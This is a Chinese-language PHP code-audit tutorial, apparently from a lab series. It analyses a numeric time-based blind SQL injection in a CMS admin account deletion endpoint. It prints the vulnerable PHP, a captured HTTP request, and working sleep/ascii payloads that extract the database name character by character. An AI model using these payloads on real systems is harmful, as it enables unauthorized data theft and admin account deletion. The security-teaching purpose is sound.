主页 > 网络知识 > PHP代码审计之入门实战(4)

PHP代码审计之入门实战(4)

 

15796572815670.jpg

 

后台盲注

后台盲注有好几处点,虽然可控变量基本上都被过滤了,但是却忽略 数字型盲注 不需要闭合单引号就可以直接拼接SQL语句导致盲注的产生,下面就找一个典型的例子来分析。

漏洞分析

 

15797452089782.jpg

 

删除管理员账号这里存在数字型盲注,下面来看下细节代码:

admin/module/basic/deal.php

function del_admin() { global $global; $adm_id = post('id'); $obj = new admin(); $obj->set_where('adm_id = '.$global['admin_id']); $a = $obj->get_one(); $obj->set_where(''); $obj->set_where("adm_id = $adm_id"); $b = $obj->get_one(); if($obj->get_count()) { if($a['adm_grade'] < $b['adm_grade']) { $obj->del(); set_cookie('result',1); } } echo 1; }

比较关键的两处代码是:

// admin_id 用户可控 虽然经过post过滤了 $adm_id = post('adm_id'); // post过滤后直接带入数据库操作 $obj->set_where('adm_id = '.$global['admin_id']);

为了进一步分析,使用Burpsuite来抓取修改密码的数据包,具体如下:

POST /admin.php?/deal/dir-basic/ HTTP/1.1 Host: 10.211.55.12 Content-Length: 18 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: */* Origin: Referer: ?/basic/mod-admin_list/index.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84; user_username=111111; user_password=96e79218965eb72c92a549dd5a330112 Connection: close cmd=del_admin&id=2

因为代码里面只返回1 echo 1; 所以这里注入的话只能使用数字型基于时间的盲注了:

 

15797454141692.jpg

 

数据库监控工具来看一下后台执行了什么样的SQL语句:

select * from php_admin where adm_id = 3

先延时再验证一下:

cmd=del_admin&id=3 and sleep(10)

后台SQL语句:

select * from php_admin where adm_id = 3 and sleep(10)

然鹅测试发现并没有延时反应,因为这里是删除用户,当这个用户的ID被删掉以后,用and语句前提是两边都是真才可以,所以这里得把and换成or语句:

 

15797457421829.jpg

 

延时貌似误差比较大,实际延时的时长大概是理论延时的两倍左右。

既然知道有注入的话 ,下面开始验证吧。

漏洞利用

手工验证

手工延时盲注是个细心的活,下面只举个基本例子:

# 判断当前数据库长度 # 当前数据库长度是否为 1 没有延时 不是 cmd=del_admin&id=3 or if(length(database())=1,sleep(3),0) # 延时 表明当前数据库长度为 6 cmd=del_admin&id=3 or if(length(database())=6,sleep(3),0) # 当前数据库第1个字母的ascii码是否为 97 没有延时 不是 cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=97,sleep(3),0) # 延时 表明当前数据库第1个字母的ascii码为 115 即 's' cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=115,sleep(3),0) # 当前数据库第2个字母的ascii码是否为 97 没有延时 不是 cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=97,sleep(3),0) # 延时 表明当前数据库第2个字母的ascii码为 105 即 'i' cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=105,sleep(3),0) ...

SQLMap注入

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!